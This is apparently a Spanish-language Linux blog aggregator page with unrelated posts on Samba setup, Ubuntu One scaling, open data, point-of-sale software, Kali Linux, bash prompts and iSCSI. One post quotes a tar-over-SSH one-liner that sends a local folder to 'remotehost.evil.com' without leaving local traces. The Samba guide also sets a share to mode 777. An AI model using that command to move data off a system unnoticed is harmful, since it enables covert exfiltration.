La construcción de estos sistemas o páginas web son de gran ayuda para las personas que viven con esta discapacidad debido a que han sido de alguna forma discriminados, sin dejar a un lado que este grupo está ya formado por más de 30 mil personas en nuestro país, esto de acuerdo a las cifras arrojadas en el censo realizado por CONAPDIS (Consejo Nacional para las Personas con Discapacidad). Es por ello que en estos momentos se debe luchar por incluir a todas estas personas en las actividades cotidianas del hombre, más específicamente en el mundo de las tecnologías, permitiéndoles conocer, por medio de páginas web por ejemplo, todo el contenido que puede ser de su interés y así pueda salir adelante de una mejor manera. El objetivo principal es que estos sistemas estén disponibles para todas estas personas y que sean incluidas en el aparato productivo de nuestro país, además de que la misión es producir, transformar e implantar bienes y servicios lo suficientemente accesibles para ellos.
La tiflotecnología ha logrado grandes avances; a nivel mundial existen organizaciones dentro de las cuales podemos mencionar a La Once (Organización Nacional de Ciegos Españoles), la cual ha sido pionera en el uso de herramientas o dispositivos que ayudan a las personas con esta discapacidad, a ser independientes. También existen escuelas destinadas a la enseñanza completa de estas personas, como son la Lighthouse International en Estados Unidos, encargada de enseñar de manera completa con la finalidad de lograr el desenvolmiento de estos; les proporcionan ayuda en cuanto a la orientación, el uso del computador, el uso del bastón, además de otras actividades, todo con la finalidad de que cada uno de ellos no pase a ser una carga para sus familias, sino que sean personas independientes y capaces de desenvolverse tanto tecnológicamente como en las relaciones de su vida diaria.
La metodología aplicada en esta investigación es documental, ya que trata de ver lo que existe hoy en día, cómo se puede mejorar y cómo se pueden crear herramientas que verdaderamente sean útiles para el trabajo diario, ya que no tendría ningún sentido desarrollar aplicaciones sin tomar en cuenta a los usuarios interesados acerca de cómo se les puede ayudar.
Palabras Claves: Hardware, Software, Software Libre, Tiflotecnología, Discapacidad, Discapacidad Visual.

Este es uno de los tantos articulo arbitrado realizado en el proceso de postgrado, luego explicare las fases y las herramientas a usar.

Sábado 12 de septiembre de 2015

Instalar Samba en Debian

Primero que nada hacemos la instalación del paquete
root@orthanc:/home/julioh# aptitude install samba

En nuestro home creamos el nombre de una carpeta que vamos a usar para compartir
mkdir share
chmod 777 share

Luego modificamos el archivo de configuración de samba

root@orthanc:/home/julioh# nano /etc/samba/smb.conf


# Samba config file created using SWAT
# from UNKNOWN (192.168.42.219)
# Date: 2014/05/15 14:19:36
[global]
server string = %h server
map to guest = Bad User
obey pam restrictions = Yes
pam password change = Yes
passwd program = /usr/bin/passwd %u
passwd chat = *Enter\snew\s*\spassword:* %n\n *Retype\snew\s*\spassword:* %n\n *password\supdated\ssuccessfully* .
unix password sync = Yes
syslog = 0
log file = /var/log/samba/log.%m
max log size = 1000
dns proxy = No
usershare allow guests = Yes
panic action = /usr/share/samba/panic-action %d
idmap config * : backend = tdb
hosts allow = 127.0.0.1, 192.168.41.0/24, 192.168.40.0/24
#hosts deny = 0.0.0.0/0
#Comentamos el HostDeny para que me acepte los rangos de ip #de nuestra red interna
#[homes]
# comment = Home Directories
# valid users = %S
# create mask = 0700
# directory mask = 0700
# browseable = No

#[printers]
# comment = All Printers
# path = /var/spool/samba
# create mask = 0777
# printable = Yes
# print ok = Yes
# browseable = No
[print$]
comment = Printer Drivers
path = /var/lib/samba/printers
[SALA]
comment = Archivos Compartidos
path = /home/julioh/share
#admin users = root, SalaP, sala01, sala02
#username = root
#hosts allow = 192.168.41.0
#read list = @users
#public = yes
#only guest = yes
#Le descomentamos para que puedan escribir
writable = yes
read only = yes
valid users = SalaP, root, sala01, sala02
write list = SalaP, root, sala01, sala02
# Lineas agregadas
# crear archivos con permisos rxw
create mask = 0700
# crear directorios con permisos rxw
directory mask = 0700

Luego Detenemos el demonio y lo volvemos a levantar
root@orthanc:/home/julioh# /etc/init.d/samba restart
[ ok ] Stopping NetBIOS name server: nmbd.
[ ok ] Starting NetBIOS name server: nmbd.
[ ok ] Stopping SMB/CIFS daemon: smbd.
[ ok ] Starting SMB/CIFS daemon: smbd.
[ ok ] Stopping Samba AD DC daemon: samba

Luego de esos podremos compartir archivos en un directorio seguro para una red interna.

Lunes 07 de septiembre de 2015

Sergio A. Alonso

Sergio A. Alonso
Bunker Blog

Shot of work's laptop




A typical work session with Arch, Mate Window Manager, Numix Theme + my own colors.

Vim Janus with Molokai theme, Oh-my-zsh with Agnoster theme, Terminator, Tig, and Fuck correct typos. 

Wallpaper is one of my favorites related to Owl's Moving Castle, downloadable from here: http://www.allmacwallpaper.com/get/iMac-21-inch-wallpapers/-Howl's-Moving-Castle-1920x1080/5226-9.jpg

Lunes 31 de agosto de 2015

Martín Albisetti

Martín Albisetti
Martin Albisetti's blog

Developing and scaling Ubuntu One filesync, part 1

Now that we've open sourced the code for Ubuntu One filesync, I thoughts I'd highlight some of the interesting challenges we had while building and scaling the service to several million users.

The teams that built the service were roughly split into two: the foundations team, who was responsible for the lowest levels of the service (storage and retrieval of files, data model, client and server protocol for syncing) and the web team, focused on user-visible services (website to manage files, photos, music streaming, contacts and Android/iOS equivalent clients).
I joined the web team early on and stayed with it until we shut it down, so that's where a lot of my stories will be focused on.

Today I'm going to focus on the challenge we faced when launching the Photos and Music streaming services. Given that by the time we launched them we had a few years of experience serving files at scale, our challenge turned out to be in presenting and manipulating the metadata quickly to each user, and be able to show the data in appealing ways to users (showing music by artist, genre and searching, for example). Photos was a similar story, people tended to have many thousands of photos and songs and we needed to extract metadata, parse it, store it and then be able to present it back to users quickly in different ways. Easy, right? It is, until a certain scale  :)
Our architecture for storing metadata at the time was about 8 PostgreSQL master databases where we sharded metadata across (essentially your metadata lived on a different DB server depending on your user id) plus at least one read-only slave per shard. These were really beefy servers with a truck load of CPUs, more than 128GB of RAM and very fast disks (when reading this, remember this was 2009-2013, hardware specs seem tiny as time goes by!).  However, no matter how big these DB servers got, given how busy they were and how much metadata was stored (for years, we didn't delete any metadata, so for every change to every file we duplicated the metadata) after a certain time we couldn't get a simple listing of a user's photos or songs (essentially, some of their files filtered by mimetype) in a reasonable time-frame (less than 5 seconds). As it grew we added caches, indexes, optimized queries and code paths but we quickly hit a performance wall that left us no choice but a much feared major architectural change. I say much feared, because major architectural changes come with a lot of risk to running services that have low tolerance for outages or data loss, whenever you change something that's already running in a significant way you're basically throwing out most of your previous optimizations. On top of that as users we expect things to be fast, we take it for granted. A 5 person team spending 6 months to make things as you expect them isn't really something you can brag about in the middle of a race with many other companies to capture a growing market.
In the time since we had started the project, NoSQL had taken off and matured enough for it to be a viable alternative to SQL and seemed to fit many of our use cases much better (webscale!). After some research and prototyping, we decided to generate pre-computed views of each user's data in a NoSQL DB (Cassandra), and we decided to do that by extending our existing architecture instead of revamping it completely. Given our code was pretty well built into proper layers of responsibility we hooked up to the lowest layer of our code,-database transactions- an async process that would send messages to a queue whenever new data was written or modified. This meant essentially duplicating the metadata we stored for each user, but trading storage for computing is usually a good trade-off to make, both in cost and performance. So now we had a firehose queue of every change that went on in the system, and we could build a separate piece of infrastructure who's focus would only be to provide per-user metadata *fast* for any type of file so we could build interesting and flexible user interfaces for people to consume back their own content. The stated internal goals were: 1) Fast responses (under 1 second), 2) Less than 10 seconds between user action and UI update and 3) Complete isolation from existing infrastructure.
Here's a rough diagram of how the information flowed throw the system:

U1 Diagram

It's a little bit scary when looking at it like that, but in essence it was pretty simple: write each relevant change that happened in the system to a temporary table in PG in the same transaction that it's written to the permanent table. That way you get transactional guarantees that you won't loose any data on that layer for free and use PG's built in cache that keeps recently added records cheaply accessible.
Then we built a bunch of workers that looked through those rows, parsed them, sent them to a persistent queue in RabbitMQ and once it got confirmation it was queued it would delete it from the temporary PG table.
Following that we took advantage of Rabbit's queue exchange features to build different types of workers that processes the data differently depending on what it was (music was stored differently than photos, for example).
Once we completed all of this, accessing someone's photos was a quick and predictable read operation that would give us all their data back in an easy-to-parse format that would fit in memory. Eventually we moved all the metadata accessed from the website and REST APIs to these new pre-computed views and the result was a significant reduction in load on the main DB servers, while now getting predictable sub-second request times for all types of metadata in a horizontally scalable system (just add more workers and cassandra nodes).

All in all, it took about 6 months end-to-end, which included a prototype phase that used memcache as a key/value store.

You can see the code that wrote and read from the temporary PG table if you branch the code and look under: src/backends/txlog/
The worker code, as well as the web ui is still not available but will be in the future once we finish cleaning it up to make it available. I decided to write this up and publish it now because I believe the value is more in the architecture rather than the code itself   :)

Jueves 02 de julio de 2015

Che … ¿y los datos?

Hace mas de un año, en abril de 2014, hice una presentación sobre Gobierno Abierto / Datos Abiertos para Libres del Sur / FAP.

En dicha presentación me enteré que dentro de la Secretaría de Desarrollo Tecnológico se había iniciado un proceso de apertura de datos de la administración municipal.

Como con todo aquello que hace el Intendente Pulti, me pareció bien la iniciativa pero me reservé las opiniones para mas adelante, ya que su costumbre siempre es patear para adelante y esperar que los reclamantes se cansen.

Ah, y también hacer mucha parafernalia y ruido con poquitas nueces.

Así fue como apareció el “Portal de Datos Abiertos” de la MGP. Y se hizo un Hackaton. Y un Concurso de Aplicaciones.

Me voy a referir al primer punto, el portal de datos abiertos.

Se suponía que allí uno iba a poder encontrar la información que necesitara sobre la Municipalidad y la ciudad, en formatos libres y abiertos, y actualizada.

Lo que realmente se encuentra (con la excepción de los datos de llamadas al 147, que parecen ser extraídas directamente del sistema que usa el call center), es todo lo que publicaron hace un año y olvidaron ahí.

Asi se ve la parte sobre datos sobre seguridad:

datos_seguridad_20150701

Así los referidos a medio ambiente:

datos_medioambiente_20150701

datos_medioambiente_osse_20150701

Los de movilidad:

datos_movilidad_20150701

Los de economía y presupuesto:

datos_economía_20150701

datos_presupuesto_20150701

Adicionalmente, en la página de Información Presupuestaria, los archivos que hasta el 2014 se publicaban en formato de planilla de cálculo, ahora han pasado a estar publicados en pdf, dificultando así cualquier análisis que uno quiera hacer, u obligando a convertirlos, con los problemas que implica cuando se tratan de datos en esquemas de tablas.

Todo sigue igual. O peor. Pero manteniendo el relato.

Martes 09 de junio de 2015

Eduardo Federico

Eduardo Federico
Paraiso Linux

Software libre para punto de venta

Todos aquellos que estén empezando un negocio, una pyme muy probablemente, lo primero que buscaran en cuestión de software es uno para punto de venta. Que es eso? Pues basicamente es aquel que va instalado en el lugar donde se cobra al cliente, la caja. Y es justamente de uno de programas del que les quiero hablar hoy.

Unicenta oPOS es justamente un software libre que sirve para cobrar al cliente cuando se vende un producto. Pero un software que solo haga eso no llama mucho la atencion y deja mucho que desear. Por suerte este no es el caso.

Las características de Unicenta son tantas que no voy a poder listarlas todas pero dejo las que mas interesantes me parecieron:

  • Interfaz con decenas de skins y ademas personalizable a gusto
  • Integración con scanners de código de barra
  • Integración con sistema de tarjeta de crédito
  • Integración con balanzas
  • Sistema de descuentos integrado
  • Soporte multilenguaje
  • Soporte para varias terminales/impresoras
  • Personalización de boletas/recibos
  • Distintos modos para distintos usos: restaurant, venta por menor, supermecado, etc.
  • Funciona en tablets (se recomienda una de al menos 10 pulgadas)

Me ha pasado, y estoy seguro que a ustedes también, de ver software privativo o a hecho a medida que parecía que alguien lo había diseñado con Paint en Hasefroch 95! En el caso de Unicenta me sorprende ver lo clara y limpia que es la interfaz.

unicenta software punto de venta

Ya me parece bastante como para tenerlo en cuenta pero no solo se encarga de registrar las ventas e imprimir un ticket. Sino que para hacer de este un sistema mas completo también cuenta con:

  • Gestión de inventario
  • Gestión de empleados
  • Gestión de proveedores
  • Gestión de clientes
  • Y un excelente sistema de reportes que completa esta solución para uso de los niveles gerenciales de un negocio.

Requisitos para instalar Unicenta

Un hardware mínimo: cualquier pc con al menos 512Mb de RAM.

Cualquier sistema operativo: Linux, Mac o Windows.

Que este instalado Java.

Y soporta multitud de sistemas gestores de base de datos: MySQL, Oracle Express, PostgreSQL e incluso soporta que tengas tu base de datos en la nube.

Es un software bastante fácil de instalar para alguien que tiene los conocimientos básicos de informática y pueden hacer uso de esta guía de este software para punto de venta.

Pero, si son dueños de un negocio y no tienen los conocimientos para instalar Unicenta, les aseguro que les sera mas económico pedirle a cualquier profesional o técnico que lo haga, a pedirle a ese mismo profesional pero con un software privativo en vez de usar este software libre.

Restricciones del software

Pfff....ninguna, te lo dan completo y como en la mayoria de esta clase de software ganan dinero gracias al soporte que algunas grandes empresas solicitan y a cambios particulares de desarrollo que se solicitan. Tambien pueden donar desde la pagina web oficial.

El software se puede conseguir desde su pagina oficial, desde sourceforge, incluso esta en los repositorios de algunas distros de Linux como en AUR de Arch Linux. Pero un detalle, siempre es mejor conseguirlo de esas fuentes, porque segun indican los mismos creadores hay gente ofreciendo este mismo software como si fuera privativo.

Pagina oficial: https://unicenta.com/

La entrada Software libre para punto de venta pertenece a Paraiso Linux.

Domingo 17 de mayo de 2015

25 años de Internet en Argentina

patchcord_keyboardHoy es el día en que se conmemora el “día de Internet”. En realidad, el Día Mundial de las Telecomunicaciones y de la Sociedad de la Información, pero a veces es bueno simplificar un poco 😉 .

Este festejo surge de una propuesta de la Cumbre Mundial sobre la Sociedad de la Información, que pidió a la Asamblea General de las Naciones Unidas instituir el 17 de mayo como Día Mundial de la Sociedad de la Información, lo cual resultó decidido en forma afirmativa. Luego, la ITU (International Telecommunication Union) decide unificarlo con su Día de las Telecomunicaciones, dado que en esta fecha, y de eso también hoy se festejan los 150 años, se fundaba dicha unión.

Pero, lo que es la casualidad, resultó que un día 17 de mayo de 1990, en la ciudad de Buenos Aires y de la mano de Jorge Amodio, Argentina ponía en marcha su primer enlace a Internet.

Como fue que esto sucedió pueden leerlo en el blog del propio Amodio, haciendo click aquí.

También destaco este documento histórico: el e-mail en el cual se informa al administrador en USA que el enlace estaba funcionando.

>From pete Thu May 17 19:55:20 1990
>Subject: Line up ….
>To: atina!umd5.umd.edu!rcoltun (Rob Coltun)
>Date: Thu, 17 May 90 19:55:20 GMT-3:00
>
> Hi Rob,
>
> glad to contact you again, and very glad now because I’m
>looking the Cisco console showing “line up” over our link.
>
> I sent to Glenn the formal Internet Number and Autonomus
>System registration.
>
> Can you help me with the configuration of the Cisco router,
>I believe that we are able to do real networking tests ( your words
>sometime ago ) …
>
> I’ll wait your response,
>
> Best regards,
> Jorge.

Por esto es que quiero enviar mi saludo y las felicitaciones a quienes fueron los pioneros de Internet en Argentina, los que tras 25 años nos han dejado un legado de posibilidades extrarordinarias.

Gracias colegas!!!

Viernes 10 de abril de 2015

Dinno Vezzoni

Dinno Vezzoni
- GNU/Linux

Nuevo en linux. Ayuda de configuración.

Hola, soy nuevo usando linux, exactamente linux mint 17.1, y he estado intentando configurar diversas apps, para usar juegos y/o aplicaciones de Windows. He usado Wine y el problema es que no me arranca el office por ejemplo.
Ademas desconozco comandos de configuración. Alguien podria ayudarme?

Domingo 05 de abril de 2015

A 10 años del ICANN Meeting en Mar del Plata

Hace 10 años, un día 4 de abril de 2005, se iniciaba en Mar del Plata el ICANN Meeting XXII, el primero en ser realizado en nuestro país.

No fue casualidad que se haya organizado en la ciudad donde vivo. Un año antes, un grupito de marplatenses propusimos que se hiciera en nuestra ciudad y tuvimos la suerte de que los costos de alojamiento y comida estuvieran, en ese momento, bastante mas bajos que en la Ciudad de Buenos Aires, lo que nos dio ventaja en la decisión final de donde se hacía.

Y así empezó esta aventura que hoy es uno de los mas gratos recuerdos de mi vida profesional.

El evento se llevó a cabo en el Hotel Sheraton de Mar del Plata, quien tuvo que acelerar la instalación de su red inalámbrica para poder brindar la conectividad a los que terminaron siendo 604 participantes de 80 países distintos, con 60 APs

La conectividad a Internet se contrató a Comsat, quien tuvo que poner dos parabólicas de 2.5 metros de diámetro para poder brindar los 10 mbps simétricos que nos solicitaron con un rango /23 para contar con 512 Ips.

6 servidores DHCP, DNS y SMTP, con una estación de monitoreo de red, 20 PCs de uso público, transmisión en vivo de las reuniones y hasta hacer de service de los equipos que se le iban rompiendo a los miembros de ICANN.

Todo el grupo estuvo compuesto por gente de primera.

En la organización, Oscar García, del Polo Informático Mar del Plata, Antonio Harris, de Cabase, OTI Internacional en los servicios turísticos y Congress Rental en servicios de audio, video en pantalla gigante, registración, traducción, etc.

En la técnica, Steve Conte, Alexander Kulik, Tim Cole y Mike Evans, de ICANN, Guillermo Pereira Irujo, Claudio Roulliet, Alexis Bertola, Martín Salinas y yo, de Comtron, Marcelo Valencia y Hector Blanche, de Comsat, Juan Gimeno Rossi y German Paak, del Hotel Sheraton.

Y, a continuación, la “medalla” que nos quedó de recuerdo, con la firma, nada mas y nada menos, que de Vinton Cerf.

Descargar (PDF, 1.14MB)

Para el final, el agradecimiento a Ignacio Marcos, que pasó una tarde para conocernos personalmente y que terminó a un costado, tomando un mate y mirándonos ir de un lado para otro, ya que gracias a el y a esa visita este blog existe como tal.

Sábado 04 de abril de 2015

Dinno Vezzoni

Dinno Vezzoni
- GNU/Linux

Solucion a Error Initramfs en arranque de Ubuntu

Buenos días hoy les traigo la solución al problema de arranque initramfs que aveces nos arroja Ubuntu.

1. Introducir el CD Live o Usb con SO, y arrancar sin instalarlo.
2. Abrir la terminal y escribir:

Código: You are not allowed to view links. Register or Login
sudo fdisk -l
Esto mostrara las particiones, nosotros nos preocuparemos y trabajaremos con la que dice solo "Linux"

Ejemplo
Código: You are not allowed to view links. Register or Login
Disk /dev/sda: 250.1 GB, 250059350016 bytes
255 heads, 63 sectors/track, 30401 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes
Disk identifier: **********
Device Boot Start End Blocks Id System
/dev/sda1 * 1 30238 242886703+ 83 Linux
/dev/sda2 30239 30401 1309297+ 5 Extended
/dev/sda5 30239 30401 1309266 82 Linux swap / Solaris

Una vez hecho esto escribimos en la terminal lo siguiente (en mi caso es /dev/sda1)

Código: You are not allowed to view links. Register or Login
sudo fsck /dev/sda1
3. Montar esta partición, este paso pocas veces lo mencionan pero es esencial para que funcione.

Código: You are not allowed to view links. Register or Login
sudo mount /dev/sda1 /mnt
Y listo, problema resulto. Espero que les haya sido de ayuda.
Saludos,, Cronos.-

Sábado 21 de marzo de 2015

Dinno Vezzoni

Dinno Vezzoni
- GNU/Linux

Kali Linux 1.1.0 Español 2015 (Former BackTrack) (X32 / X64 Bits) (RG)

Kali Linux 1.1.0 Español 2015 (Former BackTrack) (X32 / X64 Bits) (RG)



Kali Linux es una distribución basada en Debian GNU/Linux diseñada principalmente para la auditoría y seguridad informática en general. Fue fundada y es mantenida por Offensive Security Ltd. Mati Aharoni and Devon Kearns, ambos pertenecientes al equipo de Offensive Security, desarrollaron la distribución a partir de la reescritura de BackTrack,que se podría denominar como la antecesora de Kali Linux.
Kali Linux trae preinstalados numerosos programas incluyendo Nmap (un escáner de puertos), Wireshark (un sniffer), John the Ripper (Un crackeador de passwords) y la suite Aircrack-ng (Software para pruebas de seguridad en redes inalámbricas). Kali puede ser usada desde un Live CD, live-usb y también puede ser instalada como sistema operativo principal.


Metasploit Framework

Dado que sigue una política llamada Kali Linux Network Services Policy, no tiene servicios de red, incluyendo servicios de bases de datos, corriendo desde la instalación del sistema. Entonces. se deben seguir un par de pasos para hacer funcionar Metasploit con soporte de base de datos.

Iniciar el servicio de Kali PostgreSQL. Metasploit usa como base de datos PostgreSQL por lo tanto debe ser iniciado el servicio de esta base de datos antes de empezar la ejecución de Metasploit. Para verificar que está iniciado el servicio se puede utilizar el comando ss-ant asegurándose que el puerto 5432 está a la escucha.
Iniciar el servicio de Kali Metasploit. La primera vez que se ejecuta crea una base de datos msf3. También inicia Metasploit RPC y los Web servers que requiera. Se puede ejecutar msfconsole para verificar la conectividad con la base de datos con el comando db status.
Se puede configurar el sistema para que ejecute Metasploit en el inicio.


Forensics Mode en Kali Linux

BackTrack Linux introdujo la opción Forensics Boot al sistema operativo y se vio continuada en BackTrack 5, existe al día de hoy en Kali Linux. Sirve para poner a trabajar las herramientas de software libre más populares en materia forense de forma rápida y sencilla.

Se realizaron algunos cambios importantes:

El disco duro no se utiliza en absoluto. Lo que trae como consecuencia que si existe una partición swap no va a ser usada ni se monta automáticamente ningún disco interno.
Se deshabilitó el automontado de medios removibles. Entonces, ni los pendrives ni las lectoras de CD van a ser montados automáticamente
Herramientas para pruebas de penetración

Hoy en día la cantidad de herramientas o scripts existentes, que realizan tareas similares, es inmenso.
Claramente ciertos casos pueden ser mejores que otros, o puede tratarse de preferencias personales, pero en si el universo de herramientas es enorme. Por lo tanto, mantener un repositorio, de herramientas para pruebas de penetración actualizado, puede llegar a ser una tarea sumamente difícil.


Por el motivo antes expuesto obliga al equipo de desarrollo de Kali a ser muy selectivo al momento de incorporar herramientas.

Algunos de los cuestionamientos planteados al momento de elegir una nueva herramienta son los siguientes: ¿Es útil la herramienta en un entorno de pruebas de penetración?, ¿Contiene la herramienta las mismas funciones de otras herramientas existentes?, ¿Está permitido la libre redistribución por la licencia de la herramienta?, ¿Cuántos recursos requiere la herramienta?, ¿Funcionará en un entorno “estándar”?, etcétera.

TAMAÑO: 2,92 GiB / 2,78 GiB
TIPO DE ARCHIVO: IMAGENES ISO
USAR WINRAR 5.10 PARA DESCOMPRIMIR LAS ISOS




x32 bits.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

x64 bits.

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

Editado por Jimeno. Eliminación de gif.

Martes 10 de febrero de 2015

Eduardo Federico

Eduardo Federico
Paraiso Linux

El prompt de tu consola en Linux mucho mas bonito!

Que es el prompt? Abre una terminal o consola. Ves eso que esta escrito? Ver lo unico que esta aparece? Eso es el prompt.

Normalmente tiene un simbolo $ indicando que estas usando la consola como un usuario normal o un simbolo # para indicar que estas usandola como usuario root. Y es muy probable que tambien tenga una barra vertical | o un guion bajo _ titilando para indicar que esta a la espera de una nueva orden.

Un prompt basico y normal se ve algo asi:

prompt basico

Lo que indica este ejemplo basico es:

  • tu nombre de usuario: yourname
  • nombre de la pc: yourhost
  • directorio actual: ~
  • tipo de usuario: $

Apuesto a que ni habias prestado atencion a esos pocos datos verdad?

Pero esto no se queda ahi, podemos hacer mucho mas, para lograr algo mas util y mucho mas vistoso y bonito. Una consola para presumir

En primer lugar debes saber como modificar el prompt del bash. Para ello solo tienes que abrir el archivo .bashrc que esta en tu carpeta home (/home/tu_usuario/.bashrc) con tu editor de texto preferido. Al final de ese archivo tienes que escribir algo asi:

export PS1='cadena_de_texto'

donde cadena de texto se compondra de la suma de algunos de los controles que tenemos disponibles. Vamos a ver cuales son esos controles:

\d – La fecha en formato "Dia Mes Fecha" Ej: "Lun May 26")
\e – Caracter de escape ASCII
\h – El hostname
\H – El hostiname completo
\j – Numero de tareas corriendo actualmente en segundo plano
\n – Nueva linea
\r – Enter
\s – Nombre de la consola
\t – Hora actual en formato HH:MM:SS de 24Hs
\T – Hora actual en formato HH:MM:SS de 12Hs
\@ – Hora actual en formato am/pm de 12Hs
\A – Hora actual en formato HH:MM de 24Hs
\u – Nombre de usuario
\v – Version del bash
\w – Ubicacion actual completa
\W – Directorio actual
\$ – Tipo de usuario ($, #)
\\ – Una barra
\[ – Comienza secuencia de caracteres no imprimibles
\] – Termina secuencia de caracteres no imprimibles

Ejemplos:

Esto va a mostrar una carita distinta segun si el comando que se ejecuto se completo positivamente o si en cambio dio error:

PS1="\`if [ \$? = 0 ]; then echo \[\e[33m\]^_^\[\e[0m\]; else echo \[\e[31m\]O_O\[\e[0m\]; fi\`[\u@\h:\w]\\$ "

carita prompt

Como ves no solo se puede cambiar que es lo que se muestra sino dotarlo de funcionalidades si sabes programar un poquito.

Como encontrar mas ejemplos?

Lo mejor es usar google, no hay un solo lugar donde esten reunidos todos y la cantidad de diseños y usos que se le pueden dar son muchos. Les recomiendo buscar cosas como "bash prompt examples" o "ps1 prompts".

Generadores de PS1

Y si no tienes ganas de buscar entonces hay herramientas online para crear el tuyo propio. En estas herramientas solo tienes que arrastrar y soltar para crear configuraciones totalmente personalizadas, agregar todo el texto o simbolos que quieras y cambiar los colores.

Usa los comentarios para compartir tu configuracion. Si estas logueado podras no solo compartir el codigo que usaste sino tambien subir una imagen de muestra

La entrada El prompt de tu consola en Linux mucho mas bonito! pertenece a Paraiso Linux.

Domingo 01 de febrero de 2015

Martín Albisetti

Martín Albisetti
Martin Albisetti's blog

Disassembling a DeLonghi eco310.r coffee machine

After a few weeks of being coffee-deprived, I decided to disassemble my espresso machine and see if I could figure out why it leaked water while on, and didn't have enough pressure to produce drinkable coffee.
I live a bit on the edge of where other people do, so my water supply is from my own pump, 40 meters into the ground. It's as hard as water gets. That was my main suspicion. I read a bit about it on the interwebz and learned about descaling, which I'd never heard about. I tried some of the home-made potions but nothing seemed to work.
Long story short, I'm enjoying a perfect espresso as I write this.

I wanted to share a bit with the internet people about what was hard to solve, and couldn't find any instructions on. All I really did was disassemble the whole thing completely, part by part, clean them, and make sure to put it back together tightening everything that seemed to need pressure.
I don't have the time and energy to put together a step-by-step walk-through, so here's the 2 tips I can give you:

1) Remove ALL the screws. That'll get you there 95% there. You'll need a philips head, a torx head, a flat head and some small-ish pliers.
2) The knob that releases the steam looks unremovable and blocks you from getting the top lid off. It doesn't screw off, you just need to pull upwards with some strength and care. It comes off cleanly and will go back on easily. Here's a picture to prove it:

DeLongi eco310.r

Hope this helps somebody!

Miércoles 21 de enero de 2015

Gabriel Talavera

Gabriel Talavera
gabrieltalavera

Tar sobre SSH sin tocar el sistema de archivos local

Command Line Kung Fu es un blog de tres eminencias en informática forense que ademas de publicar interesantes retos de linea de comandos entre ellos, (cada uno en su especialidad, bash, powershell y cmd) lo hacen con mucho humor y desmenuzando en detalle los comandos utilizados. Últimamente no postean con mucha frecuencia, pero aún así hay mucho material interesante para aprender.

Una de las joyas que descubrí hace poco es la del Episodio #164, básicamente, copiar un directorio completo creando un archivo tar que escribirá a traves de SSH a un archivo remoto sin tocar el sistema de archivos local.

tar zcf - localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"

En el ejemplo, tar creará un tarball de la carpeta "localfolder" y lo extraerá en el servidor remoto remotehost.evil.com sin dejar rastros.

Domingo 18 de enero de 2015

Gabriel Talavera

Gabriel Talavera
gabrieltalavera

Como cambiar el password de una clave privada SSH

Recientemente me vi en la necesidad de cambiar el passphrase mis claves privadas para conexiones SSH, lo hice mediante ssh-keygen:







  • -p: solicita cambiar el passphrase de un archivo de clave privada, al ejecutar ssh-keygen con este parametro deberás proveer dos veces la clave anterior y dos veces la nueva.
  • -f: indica la ruta al archivo de clave privada.

Este método también sirve para establecer un passphrase a a una clave privada creada sin contraseña.

Jueves 06 de noviembre de 2014

Martín Albisetti

Martín Albisetti
Martin Albisetti's blog

Click packages and how they’ll empower upstreams

As the pieces start to come together and we get closer to converging mobile and desktop in Ubuntu, Click packages running on the desktop start to feel like they will be a reality soon (Unity 8 brings us Click packages). I think it's actually very exciting, and I thought I'd talk a bit about why that is.

First off: security. The Ubuntu Security team have done some pretty mind-blowing work to ensure Click packages are confined in a safe, reliable but still flexible manner. Jamie has explained how and why in a very eloquent manner. This will only push further an OS that is already well known and respected for being a safe place to do computing for all levels of computer skills.
My second favorite thing: simplification for app developers. When we started sketching out how Clicks would work, there was a very sharp focus on enabling app developers to have more freedom to build and maintain their apps, while still making it very easy to build a package. Clicks, by design, can't express any external dependencies other than a base system (called a "framework"). That means that if your app depends on a fancy library that isn't shipped by default, you just bundle it into the Click package and you're set. You get to update it whenever it suits you as a developer, and have predictability over how it will run on a user's computer (or device!). That opens up the possibility of shipping newer versions of a library, or just sticking with one that works for you. We exchange that freedom for some minor theoretical memory usage increases and extra disk space (if 2 apps end up including the same library), but with today's computing power and disk space cost, it seems like a small price to pay to empower application developers.
Building on top of my first 2 favorite things comes the third: updating apps outside of the Ubuntu release cycle and gaining control as an app developer. Because Click packages are safer than traditional packaging systems, and dependencies are more self-contained, app developers can ship their apps directly to Ubuntu users via the software store without the need for specialized reviewers to review them first. It's also simpler to carry support for previous base systems (frameworks) in newer versions of Ubuntu, allowing app developers to ship the same version of their app to both Ubuntu users on the cutting edge of an Ubuntu development release, as well as the previous LTS from a year ago. There have been many cases over the years where this was an obvious problem, OwnCloud being the latest example of the tension that arises from the current approach where app developers don't have control over what gets shipped.
I have many more favorite things about Clicks, some more are:
- You can create "fat" packages where the same binary supports multiple architectures
- Updated between versions is transactional so you never end up with a botched app update. No more holding your breath while an update installs, hoping your power doesn't drop mid-way
- Multi-user environments can have different versions of the same app without any problems
- Because Clicks are so easy to introspect and verify their proper confinement, the process for verifying them has been easy to automate enabling the store to process new applications within minutes (if not seconds!) and make them available to users immediately

The future of Ubuntu is exciting and it has a scent of a new revolution.

Martes 30 de septiembre de 2014

Sergio A. Alonso

Sergio A. Alonso
Bunker Blog

El Mundo Según JuanCPovE: Día de la Tierra, ese pequeño punto azul pálido en...

El Mundo Según JuanCPovE: Día de la Tierra, ese pequeño punto azul pálido en...: Siempre en este día cito a Carl Sagan y su obra "Pale Blue Dot". Una buena razón para reflexionar y cambiar de una buena vez nue...

Miércoles 03 de septiembre de 2014

Gabriel Talavera

Gabriel Talavera
gabrieltalavera

Configuracion de targets iSCSI con tgtadm

Entre los objetivos del exámen EX436, no se mencionan dispositivos de almacenamiento basados en FC o FCoE, sin embargo, un conocimiento mínimo de iSCSI es fundamental. RHEL incluye tgtd como servidor iSCSI. En esta entrada vemos una configuración básica.

En el equipo que ofrecera los dispositivos de bloque o particiones a los demás nodos del cluster, instalar el paquete scsi-target-utils:
[root@san ~]# yum install scsi-target-utils

El servicio encargado de responder peticiones iSCSI es tgtd, y se administra con los comandos tgtadm y tgt-admin. El comando tgtadm no funcionará hasta que el servicio tgtd este corriendo, iniciamos este servicio y nos aseguramos de que sea persistente.
[root@san ~]# service tgtd start
Starting SCSI target daemon: [ OK ]
[root@san ~]# chkconfig tgtd on

